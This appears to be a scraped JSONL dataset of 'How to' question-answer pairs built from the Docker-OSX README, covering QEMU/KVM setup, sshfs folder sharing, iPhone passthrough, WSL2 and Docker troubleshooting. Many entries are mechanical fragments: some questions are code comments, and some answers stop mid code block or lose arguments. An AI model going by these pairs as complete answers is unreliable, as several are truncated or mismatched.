{"id": "gh_ec781d181647", "question": "How to: Share directories, sharing files, shared folder, mount folder", "question_body": "About sickcodes/Docker-OSX", "answer": "The easiest and most secure way is `sshfs`\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846220"}
{"id": "gh_4a8ba0b59a4e", "question": "How to: on Linux/Windows", "question_body": "About sickcodes/Docker-OSX", "answer": "mkdir ~/mnt/osx\nsshfs user@localhost: -p 50922 ~/mnt/osx", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846224"}
{"id": "gh_2a16d880355c", "question": "How to: (VFIO) iPhone USB passthrough (VFIO)", "question_body": "About sickcodes/Docker-OSX", "answer": "If you have a laptop see the next usbfluxd section.\n\nIf you have a desktop PC, you can use [@Silfalion](https://github.com/Silfalion)'s instructions: [https://github.com/Silfalion/Iphone_docker_osx_passthrough](https://github.com/Silfalion/Iphone_docker_osx_passthrough)", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846231"}
{"id": "gh_4296ccd3687f", "question": "How to: (USBFLUXD) iPhone USB -> Network style passthrough OSX-KVM Docker-OSX", "question_body": "About sickcodes/Docker-OSX", "answer": "Video setup tutorial for usbfluxd is also available here: https://www.youtube.com/watch?v=kTk5fGjK_PM\nThis method WORKS on laptop, PC, anything!\n\nThank you [@nikias](https://github.com/nikias) for [usbfluxd](https://github.com/corellium/usbfluxd) via [https://github.com/corellium](https://github.com/corellium)!\n\n**This is done inside Linux.**\n\nOpen 3 terminals on Linux\n\nConnecting your device over USB on Linux allows you to expose `usbmuxd` on port `5000` using [https://github.com/corellium/usbfluxd](https://github.com/corellium/usbfluxd) to another system on the same network.\n\nEnsure `usbmuxd`, `socat` and `usbfluxd` are installed.\n\n`sudo pacman -S libusbmuxd usbmuxd avahi socat`\n\nAvailable on the AUR: [https://aur.archlinux.org/packages/usbfluxd/](https://aur.archlinux.org/packages/usbfluxd/)\n\n`yay usbfluxd`\n\nPlug in your iPhone or iPad.\n\nTerminal 1\n```bash\nsudo systemctl start usbmuxd\nsudo avahi-daemon\n```\n\nTerminal 2:\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846240"}
{"id": "gh_605aee4b7418", "question": "How to: Connect to a host running usbfluxd", "question_body": "About sickcodes/Docker-OSX", "answer": "**This is done inside macOS.**\n\nInstall homebrew.\n\n`172.17.0.1` is usually the Docker bridge IP, which is your PC, but you can use any IP from `ip addr`...\n\nmacOS Terminal:\n```zsh", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846246"}
{"id": "gh_06da4582d0d7", "question": "How to: on the guest", "question_body": "About sickcodes/Docker-OSX", "answer": "brew install make automake autoconf libtool pkg-config gcc libimobiledevice usbmuxd\n\ngit clone https://github.com/corellium/usbfluxd.git\ncd usbfluxd\n\n./autogen.sh\nmake\nsudo make install\n```\n\nAccept the USB over TCP connection, and appear as local:\n\n(you may need to change `172.17.0.1` to the IP address of the host. e.g. check `ip addr`)\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846252"}
{"id": "gh_18af602c457a", "question": "How to: Make container FASTER using [https://github.com/sickcodes/osx-optimizer](https://github.com/sickcodes/osx-optimizer)", "question_body": "About sickcodes/Docker-OSX", "answer": "SEE commands in [https://github.com/sickcodes/osx-optimizer](https://github.com/sickcodes/osx-optimizer)!\n\n- Skip the GUI login screen (at your own risk!)\n- Disable spotlight indexing on macOS to heavily speed up Virtual Instances.\n- Disable heavy login screen wallpaper\n- Disable updates (at your own risk!)", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846264"}
{"id": "gh_b69e27323201", "question": "How to: Increase disk space by moving /var/lib/docker to external drive, block storage, NFS, or any other location conceivable.", "question_body": "About sickcodes/Docker-OSX", "answer": "Move /var/lib/docker, following the tutorial below\n\n- Cheap large physical disk storage instead using your server's disk, or SSD.\n- Block Storage, NFS, etc.\n\nTutorial here: https://sick.codes/how-to-run-docker-from-block-storage/\n\nOnly follow the above tutorial if you are happy with wiping all your current Docker images/layers.\n\nSafe mode: Disable docker temporarily so you can move the Docker folder temporarily.\n\n- Do NOT do this until you have moved your image out already [https://github.com/dulatello08/Docker-OSX/#quick-start-your-own-image-naked-container-image](https://github.com/dulatello08/Docker-OSX/#quick-start-your-own-image-naked-container-image)\n\n```bash\nkillall dockerd\nsystemctl disable --now docker\nsystemctl disable --now docker.socket\nsystemctl stop docker\nsystemctl stop docker.socket\n```\nNow, that Docker daemon is off, move /var/lib/docker somewhere\n\nThen, symbolicly link /var/lib/docker somewhere:\n\n```bash\nmv /var/lib/docker /run/media/user/some_drive/docker\nln -s /run/media/user/some_drive/docker /var/lib/docker", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846270"}
{"id": "gh_28c9b15d6f27", "question": "How to: now check if /var/lib/docker is working still", "question_body": "About sickcodes/Docker-OSX", "answer": "ls /var/lib/docker\n```\nIf you see folders, then it worked. You can restart Docker, or just reboot if you want to be sure.", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846275"}
{"id": "gh_d20f841ac749", "question": "How to: Important notices:", "question_body": "About sickcodes/Docker-OSX", "answer": "**2021-11-14** - Added High Sierra, Mojave\n\nPick one of these while **building**, irrelevant when using docker pull:\n```\n--build-arg SHORTNAME=high-sierra \n--build-arg SHORTNAME=mojave\n--build-arg SHORTNAME=catalina\n--build-arg SHORTNAME=big-sur\n--build-arg SHORTNAME=monterey\n--build-arg SHORTNAME=ventura\n--build-arg SHORTNAME=sonoma\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846279"}
{"id": "gh_d9f1a6c50045", "question": "How to: Technical details", "question_body": "About sickcodes/Docker-OSX", "answer": "There are currently multiple images, each with different use cases (explained [below](#container-images)):\n\n- High Sierra (10.13)\n- Mojave (10.14)\n- Catalina (10.15)\n- Big Sur (11)\n- Monterey (12)\n- Ventura (13)\n- Sonoma (14)\n- Auto (pre-made Catalina)\n- Naked (use your own .img)\n- Naked-Auto (user your own .img and SSH in)\n\nHigh Sierra:\n\n[![https://img.shields.io/docker/image-size/sickcodes/docker-osx/high-sierra?label=sickcodes%2Fdocker-osx%3Ahigh-sierra](https://img.shields.io/docker/image-size/sickcodes/docker-osx/high-sierra?label=sickcodes%2Fdocker-osx%3Ahigh-sierra)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated)\n\nMojave:\n\n[![https://img.shields.io/docker/image-size/sickcodes/docker-osx/mojave?label=sickcodes%2Fdocker-osx%3Amojave](https://img.shields.io/docker/image-size/sickcodes/docker-osx/mojave?label=sickcodes%2Fdocker-osx%3Amojave)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated)\n\nCatalina:\n\n[![https://img.shields.io/docker/image-size/sickcodes/docker-osx/latest?label=sickcodes%2Fdocker-osx%3Alatest](https://img.shields.io/docker/image-size/sickcodes/docker-osx/latest?label=sickcodes%2Fdocker-osx%3Alatest)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated)\n\nBig-Sur:\n\n[![https://img.shields.io/docker/image-size/sickcodes/docker-osx/big-sur?label=sickcodes%2Fdocker-osx%3Abig-sur](https://img.shields.io/docker/image-size/sickcodes/docker-osx/big-sur?label=sickcodes%2Fdocker-osx%3Abig-sur)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated)\n\nMonterey make your own image:\n\n[![https://img.shields.io/docker/image-size/sickcodes/docker-osx/monterey?label=sickcodes%2Fdocker-osx%3Amonterey](https://img.shields.io/docker/image-size/sickcodes/docker-osx/monterey?label=sickcodes%2Fdocker-osx%3Amonterey)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated)\n\nVentura make your own image:\n\n[![https://img.shields.io/docker/image-size/sickcodes/docker-osx/ventura?label=sickcodes%2Fdocker-osx%3Aventura](https://img.shields.io/docker/image-size/sickcodes/docker-osx/ventura?label=sickcodes%2Fdocker-osx%3Aventura)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated)\n\nSonoma make your own image:\n\n[![https://img.shields.io/docker/image-size/sickcodes/docker-osx/sonoma?label=sickcodes%2Fdocker-osx%3Asonoma](https://img.shields.io/docker/image-size/sickcodes/docker-osx/sonoma?label=sickcodes%2Fdocker-osx%3Asonoma)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated)\n\nPre-made **Catalina** system by [Sick.Codes](https://sick.codes): username: `user`, password: `alpine`\n\n[![https://img.shields.io/docker/image-size/sickcodes/docker-osx/auto?label=sickcodes%2Fdocker-osx%3Aauto](https://img.shields.io/docker/image-size/sickcodes/docker-osx/auto?label=sickcodes%2Fdocker-osx%3Aauto)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated)\n\nNaked: Bring-your-own-image setup (use any of the above first):\n\n[![https://img.shields.io/docker/image-size/sickcodes/docker-osx/naked?label=sickcodes%2Fdocker-osx%3Anaked](https://img.shields.io/docker/image-size/sickcodes/docker-osx/naked?label=sickcodes%2Fdocker-osx%3Anaked)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated)\n\nNaked Auto: same as above but with `-e USERNAME` & `-e PASSWORD` and `-e OSX_COMMANDS=\"put your commands here\"`\n\n[![https://img.shields.io/docker/image-size/sickcodes/docker-osx/naked-auto?label=sickcodes%2Fdocker-osx%3Anaked-auto](https://img.shields.io/docker/image-size/sickcodes/docker-osx/naked-auto?label=sickcodes%2Fdocker-osx%3Anaked-auto)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated)", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846289"}
{"id": "gh_902ba8cc595d", "question": "How to: Capabilities", "question_body": "About sickcodes/Docker-OSX", "answer": "- use iPhone OSX KVM on Linux using [usbfluxd](https://github.com/corellium/usbfluxd)!\n- macOS Monterey VM on Linux!\n- Folder sharing-\n- USB passthrough (hotplug too)\n- SSH enabled (`localhost:50922`)\n- VNC enabled (`localhost:8888`) if using ./vnc version\n- iMessage security research via [serial number generator!](https://github.com/sickcodes/osx-serial-generator)\n- X11 forwarding is enabled\n- runs on top of QEMU + KVM\n- supports Big Sur, custom images, Xvfb headless mode\n- you can clone your container with `docker commit`", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846294"}
{"id": "gh_a5f791222400", "question": "How to: Requirements", "question_body": "About sickcodes/Docker-OSX", "answer": "- 20GB+++ disk space for bare minimum installation (50GB if using Xcode)\n- virtualization should be enabled in your BIOS settings\n- a x86_64 kvm-capable host\n- at least 50 GBs for `:auto` (half for the base image, half for your runtime image", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846299"}
{"id": "gh_a535c2595ebf", "question": "How to: Kubernetes", "question_body": "About sickcodes/Docker-OSX", "answer": "Docker-OSX supports Kubernetes.\n\nKubernetes Helm Chart & Documentation can be found under the [helm directory](helm/README.md).\n\nThanks [cephasara](https://github.com/cephasara) for contributing this major contribution.\n\n[![Artifact HUB](https://img.shields.io/endpoint?url=https://artifacthub.io/badge/repository/docker-osx)](https://artifacthub.io/packages/search?repo=docker-osx)", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846304"}
{"id": "gh_e6a68e8bd551", "question": "How to: Small questions & issues", "question_body": "About sickcodes/Docker-OSX", "answer": "Feel free to open an [issue](https://github.com/sickcodes/Docker-OSX/issues/new/choose), should you come across minor issues with running Docker-OSX or have any questions.\n\n#### Resolved issues\n\nBefore you open an issue, however, please check the [closed issues](https://github.com/sickcodes/Docker-OSX/issues?q=is%3Aissue+is%3Aclosed) and confirm that you're using the latest version of this repository — your issues may have already been resolved! You might also see your answer in our questions and answers section [below](#more-questions-and-answers).", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846311"}
{"id": "gh_454bbb675741", "question": "How to: Feature requests and updates", "question_body": "About sickcodes/Docker-OSX", "answer": "Follow [@sickcodes](https://twitter.com/sickcodes)!", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846315"}
{"id": "gh_c83ae5c945e0", "question": "How to: Professional support", "question_body": "About sickcodes/Docker-OSX", "answer": "For more sophisticated endeavours, we offer the following support services:\n\n- Enterprise support, business support, or casual support.\n- Custom images, custom scripts, consulting (per hour available!)\n- One-on-one conversations with you or your development team.\n\nIn case you're interested, contact [@sickcodes on Twitter](https://twitter.com/sickcodes) or click [here](https://sick.codes/contact).", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846320"}
{"id": "gh_2357517416a4", "question": "How to: License/Contributing", "question_body": "About sickcodes/Docker-OSX", "answer": "Docker-OSX is licensed under the [GPL v3+](LICENSE). Contributions are welcomed and immensely appreciated. You are in fact permitted to use Docker-OSX as a tool to create proprietary software.", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846324"}
{"id": "gh_e93697a3b976", "question": "How to: Other cool Docker/QEMU based projects", "question_body": "About sickcodes/Docker-OSX", "answer": "- [Run Android in a Docker Container with Dock Droid](https://github.com/sickcodes/dock-droid)\n- [Run Android fully native on the host!](https://github.com/sickcodes/droid-native)\n- [Run iOS 12 in a Docker container with Docker-eyeOS](https://github.com/sickcodes/Docker-eyeOS) - [https://github.com/sickcodes/Docker-eyeOS](https://github.com/sickcodes/Docker-eyeOS)\n- [Run iMessage relayer in Docker with Bluebubbles.app](https://bluebubbles.app/) - [Getting started wiki](https://github.com/BlueBubblesApp/BlueBubbles-Server/wiki/Running-via-Docker)", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846329"}
{"id": "gh_65483c046035", "question": "How to: Disclaimer", "question_body": "About sickcodes/Docker-OSX", "answer": "If you are serious about Apple Security, and possibly finding 6-figure bug bounties within the Apple Bug Bounty Program, then you're in the right place! Further notes: [Is Hackintosh, OSX-KVM, or Docker-OSX legal?](https://sick.codes/is-hackintosh-osx-kvm-or-docker-osx-legal/)\n\nProduct names, logos, brands and other trademarks referred to within this project are the property of their respective trademark holders. These trademark holders are not affiliated with our repository in any capacity. They do not sponsor or endorse this project in any way.", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846334"}
{"id": "gh_29f7e914fe40", "question": "How to: Initial setup", "question_body": "About sickcodes/Docker-OSX", "answer": "Before you do anything else, you will need to turn on hardware virtualization in your BIOS. Precisely how will depend on your particular machine (and BIOS), but it should be straightforward.\n\nThen, you'll need QEMU and some other dependencies on your host:\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846340"}
{"id": "gh_5878468c60ea", "question": "How to: UBUNTU DEBIAN", "question_body": "About sickcodes/Docker-OSX", "answer": "sudo apt install qemu qemu-kvm libvirt-clients libvirt-daemon-system bridge-utils virt-manager libguestfs-tools", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846344"}
{"id": "gh_e7053bd7d8ed", "question": "How to: CENTOS RHEL FEDORA", "question_body": "About sickcodes/Docker-OSX", "answer": "sudo yum install libvirt qemu-kvm\n```\n\nThen, enable libvirt and load the KVM kernel module:\n\n```bash\nsudo systemctl enable --now libvirtd\nsudo systemctl enable --now virtlogd\n\necho 1 | sudo tee /sys/module/kvm/parameters/ignore_msrs\n\nsudo modprobe kvm\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846349"}
{"id": "gh_d6d96ad42fb4", "question": "How to: I'd like to run Docker-OSX on Windows", "question_body": "About sickcodes/Docker-OSX", "answer": "Running Docker-OSX on Windows is possible using WSL2 (Windows 11 + Windows Subsystem for Linux).\n\nYou must have Windows 11 installed with build 22000+ (21H2 or higher).\n\nFirst, install WSL on your computer by running this command in an administrator powershell. For more info, look [here](https://docs.microsoft.com/en-us/windows/wsl/install).\n\nThis will install Ubuntu by default.\n```\nwsl --install\n```\n\n You can confirm WSL2 is enabled using `wsl -l -v` in PowerShell. To see other distributions that are available, use `wsl -l -o`.\n\nIf you have previously installed WSL1, upgrade to WSL 2. Check [this link to upgrade from WSL1 to WSL2](https://docs.microsoft.com/en-us/windows/wsl/install#upgrade-version-from-wsl-1-to-wsl-2).\n\nAfter WSL installation, go to `C:/Users/\n/.wslconfig` and add `nestedVirtualization=true` to the end of the file (If the file doesn't exist, create it). For more information about the `.wslconfig` file check [this link](https://docs.microsoft.com/en-us/windows/wsl/wsl-config#wslconfig). Verify that you have selected \"Show Hidden Files\" and \"Show File Extensions\" in File Explorer options.\nThe result should be like this:\n```\n[wsl2]\nnestedVirtualization=true\n```\n\nGo into your WSL distro (Run `wsl` in powershell) and check if KVM is enabled by using the `kvm-ok` command. The output should look like this:\n\n```\nINFO: /dev/kvm exists\nKVM acceleration can be used\n```\n\nUse the command `sudo apt -y install bridge-utils cpu-checker libvirt-clients libvirt-daemon qemu qemu-kvm` to install it if it isn't.\n\nNow download and install [Docker for Windows](https://docs.docker.com/desktop/windows/install/) if it is not already installed.\n\nAfter installation, go into Settings and check these 2 boxes:\n\n```\nGeneral -> \"Use the WSL2 based engine\";\nResources -> WSL Integration -> \"Enable integration with my default WSL distro\", \n```\n\nEnsure `x11-apps` is installed. Use the command `sudo apt install x11-apps -y` to install it if it isn't.\n\nFinally, there are 3 ways to get video output:\n\n- WSLg: This is the simplest and easiest option to use. There may be some issues such as the keyboard not being fully passed through or seeing a second mouse on the desktop - [Issue on WSLg](https://github.com/microsoft/wslg/issues/376) - but this option is recommended.\n\nTo use WSLg's built-in X-11 server, change these two lines in the docker run command to point Docker-OSX to WSLg.\n\n```\n-e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n-v /mnt/wslg/.X11-unix:/tmp/.X11-unix \\\n```\nOr try:\n\n```\n-e \"DISPLAY=${DISPLAY:-:0}\" \\\n-v /mnt/wslg/.X11-unix:/tmp/.X11-unix \\\n```\n\nFor Ubuntu 20.x on Windows, see [https://github.com/sickcodes/Docker-OSX/discussions/458](https://github.com/sickcodes/Docker-OSX/discussions/458)\n\n- VNC: See the [VNC section](#building-a-headless-container-which-allows-insecure-vnc-on-localhost-for-local-use-only) for more information. You could also add -vnc argument to qemu. Connect to your mac VM via a VNC Client. [Here is a how to](https://wiki.archlinux.org/title/QEMU#VNC)\n- Desktop Environment: This will give you a full desktop linux experience but it will use a bit more of the computer's resources. Here is an example guide, but there are other guides that help set up a desktop environment. [DE Example](https://www.makeuseof.com/tag/linux-desktop-windows-subsystem/)", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846358"}
{"id": "gh_17f58a7b1386", "question": "How to: Additional boot instructions for when you are [creating your container](#container-creation-examples)", "question_body": "About sickcodes/Docker-OSX", "answer": "- Boot the macOS Base System (Press Enter)\n\n- Click `Disk Utility`\n\n- Erase the BIGGEST disk (around 200gb default), DO NOT MODIFY THE SMALLER DISKS.\n-- if you can't click `erase`, you may need to reduce the disk size by 1kb\n\n- (optional) Create a partition using the unused space to house the OS and your files if you want to limit the capacity. (For Xcode 12 partition at least 60gb.)\n\n- Click `Reinstall macOS`\n\n- The system may require multiple reboots during installation", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846364"}
{"id": "gh_949cea87173e", "question": "How to: Routine checks", "question_body": "About sickcodes/Docker-OSX", "answer": "This is a great place to start if you are having trouble getting going, especially if you're not that familiar with Docker just yet.\n\nJust looking to make a container quickly? Check out our [container creation examples](#container-creation-examples) section.\n\nMore specific/advanced troubleshooting questions and answers may be found in [More Questions and Answers](#more-questions-and-answers). You should also check out the [closed issues](https://github.com/sickcodes/Docker-OSX/issues?q=is%3Aissue+is%3Aclosed). Someone else might have gotten a question like yours answered already even if you can't find it in this document!\n\n#### Confirm that your CPU supports virtualization\n\nSee [initial setup](#initial-setup).\n\n#### Docker Unknown Server OS error\n\n```console\ndocker: unknown server OS: .\nSee 'docker run --help'.\n```\n\nThis means your docker daemon is not running.\n\n`pgrep dockerd` should return nothing\n\nTherefore, you have a few choices.\n\n`sudo dockerd` for foreground Docker usage. I use this.\n\nOr\n\n`sudo systemctl --start dockerd` to start dockerd this now.\n\nOr\n\n`sudo systemctl --enable --now dockerd` for start dockerd on every reboot, and now.\n\n#### Use more CPU Cores/SMP\n\nExamples:\n\n`-e EXTRA='-smp 6,sockets=3,cores=2'`\n\n`-e EXTRA='-smp 8,sockets=4,cores=2'`\n\n`-e EXTRA='-smp 16,sockets=8,cores=2'`\n\nNote, unlike memory, CPU usage is shared. so you can allocate all of your CPU's to the container.", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846381"}
{"id": "gh_c4607edcdaee", "question": "How to: Confirm your user is part of the Docker group, KVM group, libvirt group", "question_body": "About sickcodes/Docker-OSX", "answer": "#### Add yourself to the Docker group\n\nIf you use `sudo dockerd` or dockerd is controlled by systemd/systemctl, then you must be in the Docker group.\nIf you are not in the Docker group:\n\n```bash\nsudo usermod -aG docker \"${USER}\"\n```\nand also add yourself to the kvm and libvirt groups if needed:\n\n```bash\nsudo usermod -aG libvirt \"${USER}\"\nsudo usermod -aG kvm \"${USER}\"\n```\n\nSee also: [initial setup](#initial-setup).\n\n#### Is the docker daemon enabled?\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846387"}
{"id": "gh_8713d00b4276", "question": "How to: More Questions and Answers", "question_body": "About sickcodes/Docker-OSX", "answer": "Big thank you to our contributors who have worked out almost every conceivable issue so far!\n\n[https://github.com/sickcodes/Docker-OSX/blob/master/CREDITS.md](https://github.com/sickcodes/Docker-OSX/blob/master/CREDITS.md)", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846393"}
{"id": "gh_2b9ad2c5745e", "question": "How to: Start the same container later (persistent disk)", "question_body": "About sickcodes/Docker-OSX", "answer": "Created a container with `docker run` and want to reuse the underlying image again later? \n\nNB: see [container creation examples](#container-creation-examples) first for how to get to the point where this is applicable.\n\nThis is for when you want to run the SAME container again later. You may need to use `docker commit` to save your container before you can reuse it. Check if your container is persisted with `docker ps --all`.\n\nIf you don't run this you will have a new image every time. \n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846398"}
{"id": "gh_63553c0780d1", "question": "How to: docker ps --all --filter \"ancestor=docker-osx\"", "question_body": "About sickcodes/Docker-OSX", "answer": "```\n\nYou can also pull the `.img` file out of the container, which is stored in `/var/lib/docker`, and supply it as a runtime argument to the `:naked` Docker image. \n\nSee also: [here](https://github.com/sickcodes/Docker-OSX/issues/197).", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846404"}
{"id": "gh_b2d95d2d0be5", "question": "How to: I have used Docker-OSX before and want to restart a container that starts automatically", "question_body": "About sickcodes/Docker-OSX", "answer": "Containers that use `sickcodes/docker-osx:auto` can be stopped while being started.\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846408"}
{"id": "gh_78584581a1a4", "question": "How to: docker start old container with -i for interactive, -a for attach STDIN/STDOUT", "question_body": "About sickcodes/Docker-OSX", "answer": "docker start -ai -i\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846412"}
{"id": "gh_b71275c04ec9", "question": "How to: LibGTK errors \"connection refused\"", "question_body": "About sickcodes/Docker-OSX", "answer": "You may see one or more libgtk-related errors if you do not have everything set up for hardware virtualisation yet. If you have not yet done so, check out the [initial setup](#initial-setup) section and the [routine checks](#routine-checks) section as you may have missed a setup step or may not have all the needed Docker dependencies ready to go.\n\nSee also: [here](https://github.com/sickcodes/Docker-OSX/issues/174).\n\n#### Permissions denied error\n\nIf you have not yet set up xhost, try the following:\n\n```bash\necho $DISPLAY", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846417"}
